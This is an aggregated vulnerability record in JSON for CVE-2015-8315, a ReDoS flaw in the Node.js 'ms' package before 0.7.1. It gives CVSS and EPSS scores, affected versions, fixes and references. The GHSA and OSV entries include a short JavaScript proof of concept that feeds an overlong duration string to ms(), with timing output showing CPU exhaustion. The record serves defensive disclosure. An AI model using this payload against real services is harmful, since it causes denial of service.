{"id":"CVE-2015-8315","aliases":["CLSA-2026-1773360975","CLSA-2026-1784682956","EUVD-2017-0156","GHSA-3fx5-fwvr-xrjg"],"status":"published","title":"Regular Expression Denial of Service in ms","description":"The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a \"regular expression denial of service (ReDoS).\"","severity":{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary","from":"nvd"},"epss":{"day":"2026-11-07","score":0.06954,"percentile":0.94157,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-400"],"published":"2017-01-23T21:00:00Z","modified":"2026-10-15T09:47:54Z","fixes":[{"ecosystem":"npm","package":"ms","fixed_in":["0.7.1"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"ms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.7.1"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"ms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.3.0-tuxcare.0"},{"fixed":"0.3.0-tuxcare.1"}]}],"versions":["0.3.0"],"bundled":2},{"source":"osv","ecosystem":"TuxCare:npm","package":"ms","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.6.2-tuxcare.0"},{"fixed":"0.6.2-tuxcare.1"}]}],"versions":["0.6.2"],"bundled":2},{"source":"osv","ecosystem":"npm","package":"ms","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"0.7.1"}]}]}],"products":[{"vendor":"vercel","product":"ms"}],"references":[{"url":"http://www.securityfocus.com/bid/96389","tags":["vdb-entry","x_refsource_BID","x_transferred","Broken Link","Third Party Advisory","VDB Entry","web"]},{"url":"https://nodesecurity.io/advisories/46","tags":["x_refsource_CONFIRM","x_transferred","Broken Link","Exploit","Mitigation","Vendor Advisory","web"]},{"url":"http://www.openwall.com/lists/oss-security/2016/04/20/11","tags":["mailing-list","x_refsource_MLIST","x_transferred","Mailing List","Third Party Advisory","web"]},{"url":"https://support.f5.com/csp/article/K46337613?utm_source=f5support\u0026amp%3Butm_medium=RSS","tags":["x_refsource_CONFIRM","x_transferred","Third Party Advisory","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2015-8315","tags":["advisory"]},{"url":"https://support.f5.com/csp/article/K46337613?utm_source=f5support\u0026amp;utm_medium=RSS","tags":["web"]},{"url":"https://web.archive.org/web/20200227190911/http://www.securityfocus.com/bid/96389","tags":["web"]},{"url":"https://github.com/advisories/GHSA-3fx5-fwvr-xrjg"},{"url":"https://github.com/unshiftio/millisecond","tags":["web"]}],"sources":{"cve":[{"id":"CVE-2015-8315","description":"The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a \"regular expression denial of service (ReDoS).\"","status":"published","published":"2017-01-23T21:00:00Z","modified":"2024-08-06T08:13:32.126Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"adp"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:35:40.900357Z"}],"euvd":[{"id":"EUVD-2017-0156","description":"The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a \"regular expression denial of service (ReDoS).\"","status":"published","published":"2017-01-23T21:00:00Z","modified":"2024-08-06T08:13:32Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"updated_at":"2026-11-03T01:57:27.324974Z"}],"ghsa":[{"id":"GHSA-3fx5-fwvr-xrjg","title":"Regular Expression Denial of Service in ms","description":"Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n## Proof of Concept\n```javascript\nvar ms = require('ms');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i\u003c=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n\n```\n\n### Results\nShowing increase in execution time based on the input string.\n```\n$ time node ms.js 10000\n\nreal\t0m0.758s\nuser\t0m0.724s\nsys\t0m0.031s\n\n$ time node ms.js 20000\n\nreal\t0m2.580s\nuser\t0m2.494s\nsys\t0m0.047s\n\n$ time node ms.js 30000\n\nreal\t0m5.747s\nuser\t0m5.483s\nsys\t0m0.080s\n\n$ time node ms.js 80000\n\nreal\t0m41.022s\nuser\t0m38.894s\nsys\t0m0.529s\n```\n","status":"published","published":"2017-10-24T18:33:36Z","modified":"2024-08-01T16:44:36Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-400","CWE-1333"],"updated_at":"2026-11-02T14:37:57.422393Z"}],"nvd":[{"id":"CVE-2015-8315","description":"The ms package before 0.7.1 for Node.js allows attackers to cause a denial of service (CPU consumption) via a long version string, aka a \"regular expression denial of service (ReDoS).\"","status":"published","published":"2017-01-23T21:59:00.423Z","modified":"2026-06-17T00:34:18.243Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"primary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high","assessor":"secondary"},{"version":"2.0","score":7.8,"vector":"AV:N/AC:L/Au:N/C:N/I:N/A:C","level":"high","assessor":"primary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:03:16.97467Z"}],"osv":[{"id":"GHSA-3fx5-fwvr-xrjg","title":"Regular Expression Denial of Service in ms","description":"Versions of `ms` prior to 0.7.1 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n## Proof of Concept\n```javascript\nvar ms = require('ms');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i\u003c=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n\n```\n\n### Results\nShowing increase in execution time based on the input string.\n```\n$ time node ms.js 10000\n\nreal\t0m0.758s\nuser\t0m0.724s\nsys\t0m0.031s\n\n$ time node ms.js 20000\n\nreal\t0m2.580s\nuser\t0m2.494s\nsys\t0m0.047s\n\n$ time node ms.js 30000\n\nreal\t0m5.747s\nuser\t0m5.483s\nsys\t0m0.080s\n\n$ time node ms.js 80000\n\nreal\t0m41.022s\nuser\t0m38.894s\nsys\t0m0.529s\n```\n","status":"published","published":"2017-10-24T18:33:36Z","modified":"2024-08-01T16:44:35Z","cvss":[{"version":"3.0","score":7.5,"vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","level":"high"}],"cwes":["CWE-1333","CWE-400"],"updated_at":"2026-11-02T15:46:35.747385Z"},{"id":"CLSA-2026-1773360975","title":"TuxCare security update for ms (2 CVEs)","description":"TuxCare rebuilt ms to address 2 CVEs. Fixed in 0.3.0-tuxcare.1.","status":"published","published":"2026-08-04T14:52:12Z","modified":"2026-10-15T09:47:28.646495804Z","updated_at":"2026-11-02T15:43:43.621843Z"},{"id":"CLSA-2026-1784682956","title":"TuxCare security update for ms (2 CVEs)","description":"TuxCare rebuilt ms to address 2 CVEs. Fixed in 0.6.2-tuxcare.1.","status":"published","published":"2026-08-04T14:52:46Z","modified":"2026-10-15T09:47:54.161951794Z","updated_at":"2026-11-02T15:43:46.482572Z"}]}}
